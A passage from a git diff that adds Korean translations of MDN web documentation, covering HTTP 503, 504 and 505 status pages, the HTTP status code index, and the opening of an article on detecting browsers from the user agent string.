다운되거나 오버로드되어 발생한다. 이 응답(response)은 일시적인 상황를 위해 사용되어야 하며, {{HTTPHeader("Retry-After")}} HTTP header 는 가능하다면 서비스 복구를 위한 예상 시간을 포함해야 한다.</p> + +<div class="note"> +<p><strong>Note:</strong> 이 응답(response)과 함께, 이 문제에 대해 설명하는 user-friendly page 가 전달되어야 한다.</p> +</div> + +<p>503 상태는 종종 일시적인 상황이며 응답(response) 들은 일반적으로 캐쉬되지 않아야 하므로,<br> + 이 응답(response)과 함께 전달되는 캐싱 관련 헤더들은 주의 깊게 다루어져야 한다.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">503 Service Unavailable</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.503")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/ko/web/http/status/504/index.html b/files/ko/web/http/status/504/index.html new file mode 100644 index 0000000000..13c65df17c --- /dev/null +++ b/files/ko/web/http/status/504/index.html @@ -0,0 +1,50 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +translation_of: Web/HTTP/Status/504 +--- +<div>{{HTTPSidebar}}</div> + +<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>504 Gateway Timeout</strong></code> 서버 에러 응답 코드는 서버가<br> + 게이트웨이(gateway) 혹은 프록시(proxy)의 역할을 하는 동안 시간 안에 업스트림 서버(upstream server)로부터 요청을 마치기 위해 필요한 응답를 받지 못 했음을 나타냅니다.</p> + +<div class="note"> +<p><strong>Note</strong>: {{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} 는 네트워킹에서 다른 것을 가르킬 수 있고 504 에러는 주로 수정할 수 있는 것이 아니지만, 당신이 접근하려고 하는 웹 서버 혹은 프록시의 수정이 필요합니다.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">504 Gateway Timeout</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>아래 보이는 정보는 MDN 의 Github 로부터 가져왔습니다.<br> + (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.504")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> + <li>{{HTTPStatus(502)}}</li> +</ul> diff --git a/files/ko/web/http/status/505/index.html b/files/ko/web/http/status/505/index.html new file mode 100644 index 0000000000..339da3436d --- /dev/null +++ b/files/ko/web/http/status/505/index.html @@ -0,0 +1,33 @@ +--- +title: 505 HTTP Version Not Supported +slug: Web/HTTP/Status/505 +translation_of: Web/HTTP/Status/505 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>505 HTTP Version Not Supported</strong></code> 응답 코드는 요청에 사용된 HTTP 버전이 서버가 지원하지 않음을 알립니다.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">505 HTTP Version Not Supported</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Upgrade")}}</li> +</ul> diff --git a/files/ko/web/http/status/index.html b/files/ko/web/http/status/index.html new file mode 100644 index 0000000000..11992657a3 --- /dev/null +++ b/files/ko/web/http/status/index.html @@ -0,0 +1,194 @@ +--- +title: HTTP 상태 코드 +slug: Web/HTTP/Status +tags: + - HTTP + - 상태 코드 +translation_of: Web/HTTP/Status +--- +<div class="boxed translate-rendered text-content"> +<div>{{HTTPSidebar}}</div> + +<p>HTTP 응답 상태 코드는 특정 HTTP 요청이 성공적으로 완료되었는지 알려줍니다. 응답은 5개의 그룹으로 나누어집니다: 정보를 제공하는 응답, 성공적인 응답, 리다이렉트, 클라이언트 에러, 그리고 서버 에러. 상태 코드는 <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a>에 정의되어 있습니다.</p> + +<h2 id="정보_응답">정보 응답</h2> + +<dl> + <dt>{{HTTPStatus(100, "100 Continue")}}</dt> + <dd>이 임시적인 응답은 지금까지의 상태가 괜찮으며 클라이언트가 계속해서 요청을 하거나 이미 요청을 완료한 경우에는 무시해도 되는 것을 알려줍니다.</dd> + <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt> + <dd>이 코드는 클라이언트가 보낸 {{HTTPHeader("Upgrade")}} 요청 헤더에 대한 응답에 들어가며 서버에서 프로토콜을 변경할 것임을 알려줍니다.</dd> + <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt> + <dd>이 코드는 서버가 요청을 수신하였으며 이를 처리하고 있지만, 아직 제대로 된 응답을 알려줄 수 없음을 알려줍니다.<br> + </dd> + <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt> + <dd>이 상태 코드는 주로 {{HTTPHeader("Link")}} 헤더와 함께 사용되어 서버가 응답을 준비하는 동안 사용자 에이전트가(user agent) 사전 로딩(<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">preloading</a>)을 시작할 수 있도록 한다.</dd> +</dl> + +<h2 id="성공_응답">성공 응답</h2> + +<dl> + <dt>{{HTTPStatus(200, "200 OK")}}</dt> + <dd>요청이 성공적으로 되었습니다. 성공의 의미는 HTTP 메소드에 따라 달라집니다:<br> + GET: 리소스를 불러와서 메시지 바디에 전송되었습니다.<br> + HEAD: 개체 해더가 메시지 바디에 있습니다.<br> + PUT 또는 POST: 수행 결과에 대한 리소스가 메시지 바디에 전송되었습니다.<br> + TRACE: 메시지 바디는 서버에서 수신한 요청 메시지를 포함하고 있습니다.<br> + </dd> +</dl> + +<dl> + <dt>{{HTTPStatus(201, "201 Created")}}</dt> + <dd>요청이 성공적이었으며 그 결과로 새로운 리소스가 생성되었습니다. 이 응답은 일반적으로 POST 요청 또는 일부 PUT 요청 이후에 따라옵니다.</dd> + <dt>{{HTTPStatus(202, "202 Accepted")}}</dt> + <dd>요청을 수신하였지만 그에 응하여 행동할 수 없습니다. 이 응답은 요청 처리에 대한 결과를 이후에 HTTP로 비동기 응답을 보내는 것에 대해서 명확하게 명시하지 않습니다. 이것은 다른 프로세스에서 처리 또는 서버가 요청을 다루고 있거나 배치 프로세스를 하고 있는 경우를 위해 만들어졌습니다.</dd> + <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt> + <dd>이 응답 코드는 돌려받은 메타 정보 세트가 오리진 서버의 것과 일치하지 않지만 로컬이나 서드 파티 복사본에서 모아졌음을 의미합니다. 이러한 조건에서는 이 응답이 아니라 200 OK 응답을 반드시 우선됩니다.</dd> + <dt>{{HTTPStatus(204, "204 No Content")}}</dt> + <dd>요청에 대해서 보내줄 수 있는 콘텐츠가 없지만, 헤더는 의미있을 수 있습니다. 사용자-에이전트는 리소스가 캐시된 헤더를 새로운 것으로 업데이트 할 수 있습니다.</dd> + <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt> + <dd>이 응답 코드는 요청을 완수한 이후에 사용자 에이전트에게 이 요청을 보낸 문서 뷰를 리셋하라고 알려줍니다.</dd> + <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt> + <dd>이 응답 코드는 클라이언트에서 복수의 스트림을 분할 다운로드를 하고자 범위 헤더를 전송했기 때문에 사용됩니다.</dd> + <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>멀티-상태 응답은 여러 리소스가 여러 상태 코드인 상황이 적절한 경우에 해당되는 정보를 전달합니다.</dd> + <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>DAV에서 사용됩니다: propstat(property와 status의 합성어) 응답 속성으로 동일 컬렉션으로 바인드된 복수의 내부 멤버를 반복적으로 열거하는 것을 피하기 위해 사용됩니다.</dd> +</dl> + +<dl> + <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt> + <dd>서버가 GET 요청에 대한 리소스의 의무를 다 했고, 그리고 응답이 하나 또는 그 이상의 인스턴스 조작이 현재 인스턴스에 적용이 되었음을 알려줍니다.</dd> +</dl> + +<p><br> + </p> + +<h2 id="리다이렉션_메시지">리다이렉션 메시지</h2> + +<dl> + <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> + <dd>요청에 대해서 하나 이상의 응답이 가능합니다. 사용자 에이전트 또는 사용자는 그중에 하나를 반드시 선택해야 합니다. 응답 중 하나를 선택하는 방법에 대한 표준화 된 방법은 존재하지 않습니다.</dd> + <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt> + <dd>이 응답 코드는 요청한 리소스의 URI가 변경되었음을 의미합니다. 새로운 URI가 응답에서 아마도 주어질 수 있습니다.</dd> + <dt>{{HTTPStatus(302, "302 Found")}}</dt> + <dd>이 응답 코드는 요청한 리소스의 URI가 일시적으로 변경되었음을 의미합니다. 새롭게 변경된 URI는 나중에 만들어질 수 있습니다. 그러므로, 클라이언트는 향후의 요청도 반드시 동일한 URI로 해야합니다.</dd> + <dt>{{HTTPStatus(303, "303 See Other")}}</dt> + <dd>클라이언트가 요청한 리소스를 다른 URI에서 GET 요청을 통해 얻어야 할 때, 서버가 클라이언트로 직접 보내는 응답입니다.</dd> + <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> + <dd>이것은 캐시를 목적으로 사용됩니다. 이것은 클라이언트에게 응답이 수정되지 않았음을 알려주며, 그러므로 클라이언트는 계속해서 응답의 캐시된 버전을 사용할 수 있습니다.</dd> +</dl> + +<dl> + <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt> + <dd>이전 버전의 HTTP 기술 사양에서 정의되었으며, 요청한 응답은 반드시 프록시를 통해서 접속해야 하는 것을 알려줍니다. 이것은 프록시의 in-band 설정에 대한 보안상의 걱정으로 인하여 사라져가고 있습니다.</dd> + <dt><code>306 unused</code></dt> + <dd>이 응답 코드는 더이상 사용되지 않으며, 현재는 추후 사용을 위해 예약되어 있습니다. 이것은 HTTP 1.1 기술사양 이전 버전에서 사용되었습니다.</dd> + <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> + <dd>클라리언트가 요청한 리소스가 다른 URI에 있으며, 이전 요청과 동일한 메소드를 사용하여 요청해야할 때, 서버가 클라이언트에 이 응답을 직접 보냅니다. 이것은 <code>302 Found</code> HTTP 응답 코드와 동일한 의미를 가지고 있으며, 사용자 에이전트가 반드시 사용된 HTTP 메소드를 변경하지 말아야 하는 점만 다릅니다: 만약 첫 요청에 <code>POST</code>가 사용되었다면, 두번째 요청도 반드시 <code>POST</code>를 사용해야 합니다.</dd> + <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> + <dd>이것은 리소스가 이제 HTTP 응답 헤더의 <code>Location:</code> 에 명시된 영구히 다른 URI에 위치하고 있음을 의미합니다. 이것은 <code>301 Moved Permanently</code> HTTP 응답 코드와 동일한 의미를 가지고 있으며, 사용자 에이전트가 반드시 HTTP 메소드를 변경하지 말아야 하는 점만 다릅니다: 만약 첫 요청에 <code>POST</code>가 사용되었다면, 두번째 요청도 반드시 <code>POST</code>를 사용해야 합니다.<br> + </dd> +</dl> + +<h2 id="클라이언트_에러_응답">클라이언트 에러 응답</h2> + +<dl> + <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> + <dd>이 응답은 잘못된 문법으로 인하여 서버가 요청을 이해할 수 없음을 의미합니다.</dd> + <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> + <dd>비록 HTTP 표준에서는 "미승인(unauthorized)"를 명확히 하고 있지만, 의미상 이 응답은 "비인증(unauthenticated)"을 의미합니다. 클라이언트는 요청한 응답을 받기 위해서는 반드시 스스로를 인증해야 합니다.</dd> + <dt><code>402 Payment Required</code></dt> + <dd>이 응답 코드는 나중에 사용될 것을 대비해 예약되었습니다. 첫 목표로는 디지털 결제 시스템에 사용하기 위하여 만들어졌지만 지금 사용되고 있지는 않습니다.</dd> + <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> + <dd>클라이언트는 콘텐츠에 접근할 권리를 가지고 있지 않습니다. 예를들어 그들은 미승인이어서 서버는 거절을 위한 적절한 응답을 보냅니다. 401과 다른 점은 서버가 클라이언트가 누구인지 알고 있습니다.</dd> + <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> + <dd>서버는 요청받은 리소스를 찾을 수 없습니다. 브라우저에서는 알려지지 않은 URL을 의미합니다. 이것은 API에서 종점은 적절하지만 리소스 자체는 존재하지 않음을 의미할 수도 있습니다. 서버들은 인증받지 않은 클라이언트로부터 리소스를 숨기기 위하여 이 응답을 403 대신에 전송할 수도 있습니다. 이 응답 코드는 웹에서 반복적으로 발생하기 때문에 가장 유명할지도 모릅니다.</dd> + <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> + <dd>요청한 메소드는 서버에서 알고 있지만, 제거되었고 사용할 수 없습니다. 예를 들어, 어떤 API에서 리소스를 삭제하는 것을 금지할 수 있습니다. 필수적인 메소드인 <code>GET</code>과 <code>HEAD</code>는 제거될 수 없으며 이 에러 코드를 리턴할 수 없습니다.</dd> + <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt> + <dd>이 응답은 서버가 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Content_negotiation#%EC%84%9C%EB%B2%84_%EC%A3%BC%EB%8F%84_%EC%BB%A8%ED%85%90%EC%B8%A0_%ED%98%91%EC%83%81">서버 주도 콘텐츠 협상</a> 을 수행한 이후, 사용자 에이전트에서 정해준 규격에 따른 어떠한 콘텐츠도 찾지 않았을 때, 웹서버가 보냅니다.</dd> + <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> + <dd>이것은 401과 비슷하지만 프록시에 의해 완료된 인증이 필요합니다.</dd> + <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> + <dd>이 응답은 요청을 한지 시간이 오래된 연결에 일부 서버가 전송하며, 어떨 때에는 이전에 클라이언트로부터 어떠한 요청이 없었다고 하더라도 보내지기도 합니다. 이것은 서버가 사용되지 않는 연결을 끊고 싶어한다는 것을 의미합니다. 이 응답은 특정 몇몇 브라우저에서 빈번하게 보이는데, Chrome, Firefox 27+, 또는 IE9와 같은 웹서핑 속도를 올리기 위해 HTTP 사전 연결 메카니즘을 사용하는 브라우저들이 해당됩니다. 또한 일부 서버는 이 메시지를 보내지 않고 연결을 끊어버리기도 합니다.</dd> + <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> + <dd>이 응답은 요청이 현재 서버의 상태와 충돌될 때 보냅니다.</dd> + <dt>{{HTTPStatus(410, "410 Gone")}}</dt> + <dd>이 응답은 요청한 콘텐츠가 서버에서 영구적으로 삭제되었으며, 전달해 줄 수 있는 주소 역시 존재하지 않을 때 보냅니다. 클라이언트가 그들의 캐쉬와 리소스에 대한 링크를 지우기를 기대합니다. HTTP 기술 사양은 이 상태 코드가 "일시적인, 홍보용 서비스"에 사용되기를 기대합니다. API는 알려진 리소스가 이 상태 코드와 함께 삭제되었다고 강요해서는 안된다.</dd> + <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> + <dd>서버에서 필요로 하는 <code>Content-Length</code> 헤더 필드가 정의되지 않은 요청이 들어왔기 때문에 서버가 요청을 거절합니다.</dd> + <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> + <dd>클라이언트의 헤더에 있는 전제조건은 서버의 전제조건에 적절하지 않습니다.</dd> + <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> + <dd>요청 엔티티는 서버에서 정의한 한계보다 큽니다; 서버는 연결을 끊거나 혹은 <code>Retry-After</code> 헤더 필드로 돌려보낼 것이다.</dd> + <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> + <dd>클라이언트가 요청한 URI는 서버에서 처리하지 않기로 한 길이보다 깁니다.</dd> + <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> + <dd>요청한 미디어 포맷은 서버에서 지원하지 않습니다, 서버는 해당 요청을 거절할 것입니다.</dd> + <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> + <dd><code>Range</code> 헤더 필드에 요청한 지정 범위를 만족시킬 수 없습니다; 범위가 타겟 URI 데이터의 크기를 벗어났을 가능성이 있습니다.</dd> + <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> + <dd>이 응답 코드는 <code>Expect</code> 요청 헤더 필드로 요청한 예상이 서버에서는 적당하지 않음을 알려줍니다.</dd> + <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> + <dd>서버는 커피를 찻 주전자에 끓이는 것을 거절합니다.</dd> + <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> + <dd>서버로 유도된 요청은 응답을 생성할 수 없습니다. 이것은 서버에서 요청 URI와 연결된 스킴과 권한을 구성하여 응답을 생성할 수 없을 때 보내집니다.</dd> + <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> + <dd>요청은 잘 만들어졌지만, 문법 오류로 인하여 따를 수 없습니다.</dd> + <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> + <dd>리소스는 접근하는 것이 잠겨있습니다.</dd> + <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> + <dd>이전 요청이 실패하였기 때문에 지금의 요청도 실패하였습니다.</dd> + <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> + <dd>서버는 지금의 프로토콜을 사용하여 요청을 처리하는 것을 거절하였지만, 클라이언트가 다른 프로토콜로 업그레이드를 하면 처리를 할지도 모릅니다. 서버는 {{HTTPHeader("Upgrade")}} 헤더와 필요로 하는 프로토콜을 알려주기 위해 426 응답에 보냅니다.</dd> + <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> + <dd>오리진 서버는 요청이 조건적이어야 합니다. 클라이언트가 리소스를 GET해서, 수정하고, 그리고 PUT으로 서버에 돌려놓는 동안 서드파티가 서버의 상태를 수정하여 발생하는 충돌인 '업데이트 상실'을 예방하기 위한 목적입니다.</dd> + <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> + <dd>사용자가 지정된 시간에 너무 많은 요청을 보냈습니다("rate limiting").</dd> + <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> + <dd>요청한 헤더 필드가 너무 크기 때문에 서버는 요청을 처리하지 않을 것입니다. 요청은 크기를 줄인 다음에 다시 전송해야 합니다.</dd> + <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> + <dd>사용자가 요청한 것은 정부에 의해 검열된 웹 페이지와 같은 불법적인 리소스입니다.</dd> +</dl> + +<h2 id="서버_에러_응답">서버 에러 응답</h2> + +<dl> + <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> + <dd>서버가 처리 방법을 모르는 상황이 발생했습니다. 서버는 아직 처리 방법을 알 수 없습니다.</dd> + <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> + <dd>요청 방법은 서버에서 지원되지 않으므로 처리할 수 없습니다. 서버가 지원해야 하는 유일한 방법은 <code>GET</code>와 <code>HEAD</code>이다. 이 코드는 반환하면 안됩니다.</dd> + <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> + <dd>이 오류 응답은 서버가 요청을 처리하는 데 필요한 응답을 얻기 위해 게이트웨이로 작업하는 동안 잘못된 응답을 수신했음을 의미합니다.</dd> + <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> + <dd>서버가 요청을 처리할 준비가 되지 않았습니다. 일반적인 원인은 유지보수를 위해 작동이 중단되거나 과부하가 걸렸을 때 입니다. 이 응답과 함께 문제를 설명하는 사용자 친화적인 페이지가 전송되어야 한다는 점에 유의하십시오. 이 응답은 임시 조건에 사용되어야 하며, <code>Retry-After:</code> HTTP 헤더는 가능하면 서비스를 복구하기 전 예상 시간을 포함해야 합니다. 웹마스터는 또한 이러한 일시적인 조건 응답을 캐시하지 않아야 하므로 이 응답과 함께 전송되는 캐싱 관련 헤더에 대해서도 주의해야 합니다.</dd> + <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> + <dd>이 오류 응답은 서버가 게이트웨이 역할을 하고 있으며 적시에 응답을 받을 수 없을 때 주어집니다.</dd> + <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> + <dd>요청에 사용된 HTTP 버전은 서버에서 지원되지 않습니다.</dd> + <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> + <dd>서버에 내부 구성 오류가 있다. 즉, 요청을 위한 투명한 컨텐츠 협상이 순환 참조로 이어진다.</dd> + <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> + <dd>서버에 내부 구성 오류가 있다. 즉, 선택한 가변 리소스는 투명한 콘텐츠 협상에 참여하도록 구성되므로 협상 프로세스의 적절한 종료 지점이 아닙니다.</dd> + <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> + <dd>서버가 요청을 처리하는 동안 무한 루프를 감지했습니다.</dd> + <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> + <dd>서버가 요청을 이행하려면 요청에 대한 추가 확장이 필요합니다.</dd> + <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> + <dd>511 상태 코드는 클라이언트가 네트워크 액세스를 얻기 위해 인증을 받아야 할 필요가 있음을 나타냅니다.</dd> +</dl> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("http.status")}}</p> + +<h2 id="더_보기">더 보기</h2> + +<ul> + <li><a href="https://ko.wikipedia.org/wiki/HTTP_%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C">위키백과에서 상태코드 목록</a></li> + <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">상태코드의 최상위 도메인 등록 단체 공식 등록</a></li> +</ul> +</div> diff --git a/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html b/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html new file mode 100644 index 0000000000..8ffc0ff0b5 --- /dev/null +++ b/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html @@ -0,0 +1,296 @@ +--- +title: 사용자 에이전트를 이용한 브라우저 감지 +slug: Web/HTTP/User_agent를_이용한_브라우저_감지 +tags: + - Compatibility + - HTTP + - Web Development +translation_of: Web/HTTP/Browser_detection_using_the_user_agent +--- +<div>{{HTTPSidebar}}</div> + +<p>보통 브라우저마다 다른 웹 페이지 또는 서비스를 제공하는 것은 나쁜 생각입니다. 웹은 사용자가 어떤 브라우저나 디바이스를 사용하고 있는지 개의치 않고 모두에게 접근성이 용이해야 하기 때문입니다. 따라서 특정 브라우저를 타겟으로 개발하는 것보다 가용적인 기능들 (예를 들어 Web API 등)을 이용하여 당신의 웹 사이트를 개선하는 것을 추천합니다.</p> + +<p>하지만 브라우저와 웹 표준은 완벽하지 않고 그 간극은 여전히 브라우저 감지 기능을 필요로 합니다. <a href="/ko/docs/Web/HTTP/Headers/User-Agent">User-Agent</a>를 사용하여 브라우저를 감지하는 것은 간단해 보이지만, 사실 그것을 잘 이용하는 것은 무척 힘든 일입니다. 이 문서는 사용자 에이전트를 이용하여 브라우저를 바르게 감지하도록 안내합니다.</p> + +<div class="note"> +<p>주의하세요! user agent 정보를 가로채는 것은 좋은 아이디어가 아닙니다. 대부분의 경우 호환성이 뛰어난 좋은 다른 해결방안을 찾을 수 있을 것입니다.</p> +</div> + +<h2 id="브라우저_감지를_하기_전_고려할_것">브라우저 감지를 하기 전 고려할 것</h2> + +<p>사용자 에이전트 문자열을 이용해 브라우저를 감지하기 전에 가능하다면 이것을 사용하지 않는 것이 첫 번째입니다. 내가 <strong>왜</strong> 이 기능을 원하는지 다시 한 번 스스로 확인하길 바랍니다.</p> + +<dl> + <dt>특정 브라우저 버전의 버그를 고치려고 하나요?</dt> + <dd>포럼에서 찾아보십시오. 만약 이 버그를 당신이 처음 발견했다면 포럼에 질문을 하십시오. 또한 전문가나 다른 견해를 가진 이들이 이 버그를 해결하는데 도움을 줄 것입니다. 만약 버그가 좀처럼 없는 문제라면 브라우저 제공자의 버그 추적 시스템(<a href="https://bugzilla.mozilla.org/">Mozilla</a>, <a href="http://bugs.webkit.org/">WebKit</a>, <a href="https://www.chromium.org/issue-tracking">Blink</a>, <a href="https://bugs.opera.com/">Opera</a>)에 보고된 버그인지 확인하세요.</dd> + <dt>특정 기능의 존재를 확인하려고 하나요?</dt> + <dd>당신의 사이트에 몇몇 브라우저에서 아직 지원하지 않은 기능을 사용해야 하고, 해당 유저들을 이전 버전의 웹사이트로 보내고 싶어 하지만 당신은 후에 해당 브라우저에서 해당 기능이 동작할 것이라는걸 압니다. 이것이 사용자 에이전트 탐지를 사용하는 가장 나쁜 이유인데, 결국 다른 브라우저들이 그 문제를 따라잡을 것이기 때문입니다. 이러한 시나리오에서 당신은 가능한 유저 에이전트 탐지를 <strong>절대</strong> 피해야 하고, 대신 언제나 기능탐지를 하는데 최선을 다해야 합니다. 대신 <strong>언제든지</strong> 기능 탐지를 할 수 있는 대체방안이 존재합니다</dd> + <dt>사용하는 브라우저에 따라 다른 HTML을 제공해야 하나요?</dt> + <dd>이는 권해드리고 싶지 않지만, 필요에 따른 몇가지 방법이 있습니다. 이러한 상황들일 경우, 우선 브라우저에 따른 다양한 HTML을 사용해야 하는지 결정하기 위해 당신의 상황을 분석할 필요가 있습니다. 당신은 non-semantic인 {{ HTMLElement("div") }} 나 {{ HTMLElement("span") }} 요소를 추가함으로써 이를 방지할 수 있나요? user Agent 감지를 성공적으로 하는 것의 어려움은 몇몇 혼란스러운 HTML을 깨끗하게 바꾸는데 가치가 있습니다. 또한 당신의 디자인에 대해 다시한번 생각해보세요. 브라우저별로 다른 HTML을 사용할 필요성을 없애기 위해 점진적 향상(<a href="https://developer.mozilla.org/ko/docs/Glossary/Progressive_Enhancement">progressive enhancement</a>)이나 가변 레이아웃(fluid layout)을 사용할 수 있나요?</dd> +</dl> + +<h2 id="사용자_에이전트를_대신할_방법">사용자 에이전트를 대신할 방법</h2> + +<p>user agent 감지를 피하는 몇 가지 방법이 있습니다!</p> + +<dl> + <dt>기능 탐지</dt> + <dd>기능 탐지는 어떤 브라우저가 당신의 페이지를 렌더링하는지를 알아내려고 할 때가 아니라, 어떤 특정한 기능을 당신이 사용가능한지를 확인할 때 사용합니다. 그렇지 않다면, 대비책을 사용하세요. 브라우저 간의 차이점을 찾는 몇 안되는 경우에서는 user agent 문자열을 사용하는 대신, 브라우저가 API를 구현하는 방법을 탐지하고 API를 사용하는 방법을 결정하는 테스트를 구현하는 것이 좋습니다. 아래는 기능탐지의 좋은 최신 예시 입니다. 최근 크롬은<a href="https://www.chromestatus.com/feature/5668726032564224"> experimental lookbehind support to regular expressions</a>을 추가했지만, 다른 브라우저들은 이를 지원하지 않습니다. 그러므로 당신은 이와 같이 해야 한다고 잘못 생각하고 있을 것입니다.</dd> + <dd> + <pre class="notranslate">// 아래 코드 조각은 한 문자열을 특별한 표기법으로 쪼갭니다. + +if (navigator.userAgent.indexOf("Chrome") !== -1){ + // 네! 이 사용자가 정규표현식의 look-behind 기능을 사용하려는 것 + // 같습니다. + // /(?<=[A-Z])/를 사용하지 마십시오. 정규표현식의 + // look-behind 기능을 지원하지 않는 브라우저에서는 문법오류가 + // 발생할 것입니다. 왜냐하면, 모든 브라우저들은 실제로 실행되지 + // 않는 부분을 포함한 전체 스크립트를 해석하기 때문입니다. + var camelCaseExpression = new RegExp("(?<=[A-Z])"); + var splitUpString = function(str) { + return (""+str).split(camelCaseExpression); + }; +} else { + /*아래 fallback 코드는 성능이 떨어지지만 작동하긴 합니다.*/ + var splitUpString = function(str){ + return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); + }; +} +console.log(splitUpString("fooBare")); // ["fooB", "are"] +console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]</pre> + + <p>위의 코드는 다음과 같은 몇 가지 잘못된 가정을 했습니다.</p> + + <ul> + 